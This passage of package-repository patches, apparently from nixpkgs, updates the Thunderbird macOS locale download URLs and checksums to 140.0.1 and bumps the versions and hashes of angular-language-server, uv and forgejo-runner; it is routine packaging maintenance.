+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/el/Thunderbird%20140.0.1.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "f50f066f2097e0cd5ef4716d8fe70ab315d6edbb855230b523303ab8ce6f5ff3";
+      sha256 = "d9b1af911553ce72c79b6df8a91eb0fdefd33b41288d8a70d94eb5b576195bb2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/en-CA/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/en-CA/Thunderbird%20140.0.1.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "93a6e80d8c19c81d9dc3f908b41e99cdafddd2eb2e14150b148cdccb5468f9a8";
+      sha256 = "866e7b136ca1f1194300139a5cc557225f8c28c40bbe7f3d32e7f5bab986be9d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/en-GB/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/en-GB/Thunderbird%20140.0.1.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "d1764196b7050fee605ff323bd9e0ae94a6a797ed014e14eaaed102c81c37f57";
+      sha256 = "fc8256d9b0f84cac54168c7a2ae3216f02bdf6753e4435ab5222ee2828e2da5e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/en-US/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/en-US/Thunderbird%20140.0.1.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "34a1e19d932e9f01bb7197ff510c72fa3ef97dcfc413839bce5e188e292157db";
+      sha256 = "70cc063fb5f8cbcc87db93011501b9f3abb0a0e610cae481d32f14bc8050392c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/es-AR/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/es-AR/Thunderbird%20140.0.1.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "fae74cf7b68f2055329de913867f3ed0075a6fcb373a5cc4c3a0013a3f8a6afb";
+      sha256 = "3795e0790f5a63ab6a4349d207ca5c5bda5e7517408fb29247570a9c763b4901";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/es-ES/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/es-ES/Thunderbird%20140.0.1.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "4a96697a2673c1a6ccc8aa394589d89b67d6965a97f07da11e410c21d7588d7d";
+      sha256 = "7a73b110df27377b1efd1e89945c44a7cfd038b4e3f105b02f6653ddc42d133f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/es-MX/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/es-MX/Thunderbird%20140.0.1.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "7c225e7f189fe567bc6c7759fb01446fd398d9e194e8be956ac0edf33b7de008";
+      sha256 = "9a61a55f1d9798be757ffcc46ba81996c2ff91fa653bd25a22623a808e4d2974";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/et/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/et/Thunderbird%20140.0.1.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "9e3ebeb24ebba2e87d2e1a22a47a9bb31b81cb891a6a94b4be6aba92dcd9ab77";
+      sha256 = "39c69a62c8565bf4f3f4948a7ef825f8cc249f94fae8a88ebeede498cb243224";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/eu/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/eu/Thunderbird%20140.0.1.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "35661b198f01c2c76c096254612a7160440127519cf4e0c97435a83fd1e4bb45";
+      sha256 = "76f5c8e68a9afa0d047c0de14d7bf3bf90e065098fa6310b1ed5508fc4a8ad0e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/fi/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/fi/Thunderbird%20140.0.1.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "fd606dc9ae8dee3aa1accb799ea94daa1fa7fe6c203de961ae61710f58e65941";
+      sha256 = "89cfea97ed6568e712cfae7d1dccf91efc83e0a7408ad1a6fa4e4165dcdf2a55";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/fr/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/fr/Thunderbird%20140.0.1.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "71103db6af97b921a73b1f1963e420c17b08eb63d75f015778b2213046f53e70";
+      sha256 = "58c9d7f708d04e22e76b77fc2b71caf9c8ab7a9898e64efcf4ff17465612a55a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/fy-NL/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/fy-NL/Thunderbird%20140.0.1.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "6886f636b4ce8a2c711f051ca6edec37396b399c61c212c4e81b82e8fb0ffe90";
+      sha256 = "6b773a69491af963c8b85c2b802579f676dd479781aa92d3e080d396031983bb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ga-IE/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ga-IE/Thunderbird%20140.0.1.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "fb96cf25e618199c2bc16ecfd5f5f136916300c154170335822bc4ed45e79b33";
+      sha256 = "b28cfb3f927191eef09a30bf7f99c7c80c5aecd4d6d0dac9566dbe51ca02596a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/gd/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/gd/Thunderbird%20140.0.1.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "3672567442dd18ba2a3e4aece3080168381f11f71a2e511f6fc7c8bbb2674911";
+      sha256 = "70152b2256bc18567d6a152f25b3f9cda014aaa0df87084e276f006cafc87e95";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/gl/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/gl/Thunderbird%20140.0.1.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "f99690206ef559d90d308d96d841c7946928c15cd63ec1e7bb61e0e6ffa29bf5";
+      sha256 = "7ee1a93a7dbb83ed82bd0d1b3d4330f1c24a8a8059e88f475ffb5c62553e2446";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/he/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/he/Thunderbird%20140.0.1.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "c37157620a24874643aed902ec63dfa6dd87baa9793f762c8a899a4537fdb590";
+      sha256 = "0d46bbe3d63a135dc9a69536fe85a1d5a0a4c941a0ca299f9ccbecd7a60c2a9a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/hr/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/hr/Thunderbird%20140.0.1.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "c9dfe1d36cbf946c7d0470e4795e6763e6a858b30f1ed970911e7767acbdcb11";
+      sha256 = "82b18c1776938e6f4adf8e792b76f28207af20e8d1f0beeb681a3d221fc45fb2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/hsb/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/hsb/Thunderbird%20140.0.1.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "c33da4110bcde79556c5a10249d237cb537f567f66e8e6c4282a03c843bed07e";
+      sha256 = "75ced0b156f5126bb3588bf5980dcc70ef1f28fb7815e8ab76bdfbc31467e006";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/hu/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/hu/Thunderbird%20140.0.1.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "c0b29fc2f564854a1cc8ca0cae0c7776a2b9039fbdf802c22c83f72d0bcf1657";
+      sha256 = "7c076f04a8715a105d65d70a338c2071a65e88f3635594718bda613af59bf4fa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/hy-AM/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/hy-AM/Thunderbird%20140.0.1.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "5e3ce57c38c9086dff3e2fdef8fdd010a0631a6b4dc2802e614a01b733141a7f";
+      sha256 = "e9a65bd8093eb3d1a3234eaf3fee4c9395f2541c567736e15efbcb9607573065";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/id/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/id/Thunderbird%20140.0.1.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "722da355ddf1f167c33bd551c23e9848b4c0543236b613b6a1596e025394b7ef";
+      sha256 = "c909ffea198c320e7c01ee73c4f715b06019e9a9c11333970c006ed60c92cb4c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/is/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/is/Thunderbird%20140.0.1.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "1366f639310cfe346619a00da8bb100d8010b2e288b94ce31c1151a74aaeb1a5";
+      sha256 = "8415a7b54e3adbd3eb3d3715bebf782101e54cca6e9e731135b2b7cb158d251d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/it/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/it/Thunderbird%20140.0.1.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "719d86b1c6a26f08bf1331c51c73b5fd43f5c9e773ecac8b691c84fdc6967913";
+      sha256 = "399a6b8e9bf80ddb89c41f7540e1714adee75e72d19e011f64f0d71a21f149ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ja-JP-mac/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ja-JP-mac/Thunderbird%20140.0.1.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "32862a5676057710330afb65f93a1702a21f579c91d0cb3effd3bc87ec147440";
+      sha256 = "4d0e01e5cc174cf8df55318370e2d0e23e264b8dff4f460553252efea31beb9c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ka/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ka/Thunderbird%20140.0.1.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "95c590bdefa41ca99a2a9e3d7b67cbf935a828301207247b03f6bf636536601a";
+      sha256 = "bf0c389c2b82e258837b52f1f7475e6faf6aae6cd77d9d899648b5b66d4ca375";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/kab/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/kab/Thunderbird%20140.0.1.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "fdbbb3e523eb7bab02278453bf64e7748d8034a8e244013200471e4cc659ef20";
+      sha256 = "036e168a99f79d2471541d5adaf0809621b24e8ea4294574e4792d7d80441cd4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/kk/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/kk/Thunderbird%20140.0.1.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "4d5bae92ac0fd6c86f6a2296e774b91074653713d72ff37f589d1ec1afaaeb78";
+      sha256 = "032398ece39285aa3974cd1b33284410c9789b00f92432c30c47de1512a00761";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ko/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ko/Thunderbird%20140.0.1.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "a7fd1b29ea7834e078ad3a1495fcb44012419d204afde5940f8faa6ac0aac0d1";
+      sha256 = "c479823c3c2b5f0ab74f8bfde52a2f4ef93824e3838073675254bceb7809ed9f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/lt/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/lt/Thunderbird%20140.0.1.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "a1c547989111a3a9e7719fc2aae5e6629446db0f4e5ba5c0eb7badb9d7e13a1c";
+      sha256 = "141bee2b41418376a3264ca5056fbc41107f2eacdec6be44839e2e9ddfc654fc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/lv/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/lv/Thunderbird%20140.0.1.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "70bb9ccc58374fee15faaee0d475fd821fc13b146dd4bf517312d81b670d48f9";
+      sha256 = "ba72e77ce1e200fbcb814ede329ac63f93902798b780dfbecdd25fbf3e283c8e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ms/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ms/Thunderbird%20140.0.1.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "df6391501862a1c671eb9307adf10406fd94772fde777c133fa0c0715be14ed8";
+      sha256 = "d656217a18ad2bd3c1b7333d8faff00d3ff0d778d207ac501d583a4e503f6e5b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/nb-NO/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/nb-NO/Thunderbird%20140.0.1.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "cc37ccfdd8e1969abbc5e40d89967e555f6edb73551778d992520eea5da0000b";
+      sha256 = "27006c4d2f05e9968642d2c9fd4b9f5f2d0e8a0d573033e4d37080e6587bdbf0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/nl/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/nl/Thunderbird%20140.0.1.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "843f557a0bf080adb6e07b1cd599a27520436c50ea27e40120be772f13ff5d09";
+      sha256 = "21deb09b9e811dc27874e03db6e89003e4a89531a577f8ff3bd119c70beed350";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/nn-NO/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/nn-NO/Thunderbird%20140.0.1.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "fa0f91df5692ef0434ebb85ff705956cd6b5b73b6c019c873ad83af0c9a06461";
+      sha256 = "5053cdb691e0c4488076a075e435c889595273ecc4511bfd8481c29eeb0d3660";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/pa-IN/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/pa-IN/Thunderbird%20140.0.1.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "4206104601c0aefd646fa5d930b11dec7903f3c77a5a74a9f1321afccd7e655a";
+      sha256 = "b469070aabc3a0c4bb4f01099c55b1bca29131be93bd11fd20b1d70a4ca0261b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/pl/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/pl/Thunderbird%20140.0.1.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "32736afce67be152bba80e13f50fbf63d2c6cf15b17428f30c7d24846781f0e1";
+      sha256 = "a5028296bb0ed423c8edaa4a00a12f547551e7c62bc14358ebdeca0873abe48b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/pt-BR/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/pt-BR/Thunderbird%20140.0.1.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "71ae795a2be7a6bf7ef43ddcc1388f24b77c6f68c70530e876185f79d71cb405";
+      sha256 = "88c3d59b9d41c0835bbe62ee3d1fbc36a4fe44ea2fb4f04f840ddb49cba6aacb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/pt-PT/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/pt-PT/Thunderbird%20140.0.1.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "f5fa99e49892c89cea123acdca405f16124d711755eab0131d25d0b7ed7704a7";
+      sha256 = "e47f2d8ee1a63086754c2653c409fb80a9adf8f62d02f986268bef38e432c273";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/rm/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/rm/Thunderbird%20140.0.1.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "7923f1b61c3b7b24a2f2867415605afc7771a29318f0e09fe6f752b0816397cd";
+      sha256 = "31d6ccd67c072ec26eb845eb6a3e4dfe0b2d1a3875a1485a7a927adb1d5c2504";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ro/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ro/Thunderbird%20140.0.1.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "02ef69f67af8ce479928252aaf93aa74a766b5d4ad2674b1520aeb51287b24f5";
+      sha256 = "742b253e8f25d392a84db339e03abb3ba659aa9a879fde3e16a23eb04a66d8a0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ru/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ru/Thunderbird%20140.0.1.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "8d3788a2ca39fe81e3ccb28dd46f1c69945987db7ab26439e3fb5524eed45d64";
+      sha256 = "e84e985e1875b1f08ac8a2a18001c106abcc6a7b834192392de2e0a5268560c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sk/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sk/Thunderbird%20140.0.1.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "876347a307912740ee40d1b7aae19ae448f73f4093bd82c3bfb0b2ebdc9e0705";
+      sha256 = "51f1d0ecdaaacecbc84308a564ef9f57b3aa483afc3bbeeafd37c978700f7756";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sl/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sl/Thunderbird%20140.0.1.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "50975cc67ec3db95a5ac17ca1ff6bbf5d688743d491b5a5a034f2fd178477ac9";
+      sha256 = "bf3c15f870692ab84243631a2e7f51d78cb854dde855e1f968de34c8e6a057e7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sq/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sq/Thunderbird%20140.0.1.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "97ca3700aa41bde20c12f0a789c13f7e5098db67a9601f8766778af0547fd376";
+      sha256 = "deb62187c26bc19b70a5b2b5df6a2e5ff682721aba67334fcefcba62cc6ad5d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sr/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sr/Thunderbird%20140.0.1.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "290bd2b71e2ff189050fac56d71803d063271226006ecf87621b83fdf83a1572";
+      sha256 = "2c7f29fcb9bbb55517648703651afa4538b800a45023b8913f80be9784b31a32";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sv-SE/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sv-SE/Thunderbird%20140.0.1.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "fb493eb5d4a5e50c49e49c12ed99c556b80e86bff0efa6356bdce94f83f69ca7";
+      sha256 = "6d64a6b4de8ff34fa7befa2d720bc6763384dd711f4a80756fee7e6f4ed85ebf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/th/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/th/Thunderbird%20140.0.1.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "4442017719a0dcc84a31f2a9d5d806cab03834b0c9c54ea9e3c409941195a9f9";
+      sha256 = "7724c3eb006e68d9af2cd92e89ca1edbc9c319bc82e3e72644f5dccf5c222a0e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/tr/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/tr/Thunderbird%20140.0.1.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "abae3714a23b03e97791937b7fa30a287eb21087bee5f486309a46cba53ab4ca";
+      sha256 = "5fe95d87ad1e67778b631917723729fa350e9f39fc5a5f54d73fe18db3d68478";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/uk/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/uk/Thunderbird%20140.0.1.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "73dc58c076fd95b613e471edc4b8991bfac6e6ace1a6127112620ac105c9c0b7";
+      sha256 = "958ec7f8c988d27d0e2eeb41d3a27bf7750d499d914ceebff639f7ad1c879046";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/uz/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/uz/Thunderbird%20140.0.1.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "100fee1106e2dc0dac058b9021a2a420661a04c8f4f53f674d34d510098732c0";
+      sha256 = "e95b66f85d800edb915e52f48257f10e5cde7021584a0e4141b27674a8a9b795";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/vi/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/vi/Thunderbird%20140.0.1.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "2d9745cb1becf8cabe819c41d730cbb787eab5111ac1365a821c53c0eba27fcb";
+      sha256 = "7601c3df7e33f7911da8a3b60738c5e7a682aae078307129dc0f93fc6d3f0e5e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/zh-CN/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/zh-CN/Thunderbird%20140.0.1.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "a06f684942163984300dc96a64b0637c408bc7b61a43b9fa30a556a634033fbd";
+      sha256 = "d79eb6a92344a955e50639f5b22f63ea344f40f21bd21d0a85a8da7bab8eafa0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/zh-TW/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/zh-TW/Thunderbird%20140.0.1.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "634062fb991d8b9bbfb98c739478cf25208a3dc2132956ddc94426c3057a9a52";
+      sha256 = "6cf78a8a44080efa01ae1d13dea7033a2d165d2f004489211f468a2ec9ccd9d7";
     }
   ];
 }

From b67f278bc4ae5c5dcd714d92f461ef9772325655 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 17 Jul 2025 09:00:15 +0000
Subject: [PATCH 2543/4511] angular-language-server: 20.0.0 -> 20.1.1

(cherry picked from commit cffff4f1128ee75a2d1cdab24f5b467515ee213c)
---
 pkgs/by-name/an/angular-language-server/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/an/angular-language-server/package.nix b/pkgs/by-name/an/angular-language-server/package.nix
index fda131f3150c..84efaadafb86 100644
--- a/pkgs/by-name/an/angular-language-server/package.nix
+++ b/pkgs/by-name/an/angular-language-server/package.nix
@@ -16,11 +16,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "angular-language-server";
-  version = "20.0.0";
+  version = "20.1.1";
   src = fetchurl {
     name = "angular-language-server-${finalAttrs.version}.zip";
     url = "https://github.com/angular/vscode-ng-language-service/releases/download/v${finalAttrs.version}/ng-template.vsix";
-    hash = "sha256-87SImzcGbwvf9xtdbD3etqaWe6fMVeCKc+f8qTyFnUA=";
+    hash = "sha256-fcJXyuGow39uep6Giexft+3a/nnoJSsKdwjtAQKTMj0=";
   };
 
   nativeBuildInputs = [

From 38a3813590b35980d05bb0183c00e836bb4e03ae Mon Sep 17 00:00:00 2001
From: Euan Kemp <euank@euank.com>
Date: Tue, 15 Jul 2025 06:08:13 +0900
Subject: [PATCH 2544/4511] uv: 0.7.20 -> 0.7.21

(cherry picked from commit a15a72245c42294aad757dd18e634bf044a14aaa)
---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 487eaa8b1f9b..0216b701cfd3 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.20";
+  version = "0.7.21";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-DHad9vDkqmsUE9mfYJef7+Y25ryLWTRyGSe9hC+O/2U=";
+    hash = "sha256-xY7olVRb8xEvTB+VuUNoq29f37sms+JliU4L9dxsReU=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-WmJlYBaPHKm5yrypESNyJS4PoOx93MxHh6D7w2rw23A=";
+  cargoHash = "sha256-JVmRRYAHXEGzayiEnWPYi3azVPqLI6z4D0gx395glFQ=";
 
   buildInputs = [
     rust-jemalloc-sys

From e5cbbba4a757f0a9d10cc83f2811b22430b0cac4 Mon Sep 17 00:00:00 2001
From: Christoph Heiss <christoph@c8h4.io>
Date: Thu, 17 Jul 2025 11:06:50 +0200
Subject: [PATCH 2545/4511] forgejo-runner: 6.4.0 -> 7.0.0

Changelog: https://code.forgejo.org/forgejo/runner/src/branch/main/RELEASE-NOTES.md#7-0-0

Signed-off-by: Christoph Heiss <christoph@c8h4.io>
(cherry picked from commit 8db6dc57b4d654cdacb7c65fe2c8b616ae838bed)
---
 pkgs/by-name/fo/forgejo-runner/package.nix | 25 +++++++++++++++++-----
 1 file changed, 20 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo-runner/package.nix b/pkgs/by-name/fo/forgejo-runner/package.nix
index 6648a723b7e5..f6ca0045f5e7 100644
--- a/pkgs/by-name/fo/forgejo-runner/package.nix
+++ b/pkgs/by-name/fo/forgejo-runner/package.nix
@@ -17,28 +17,43 @@ let
 in
 buildGoModule rec {
   pname = "forgejo-runner";
-  version = "6.4.0";
+  version = "7.0.0";
 
   src = fetchFromGitea {
     domain = "code.forgejo.org";
     owner = "forgejo";
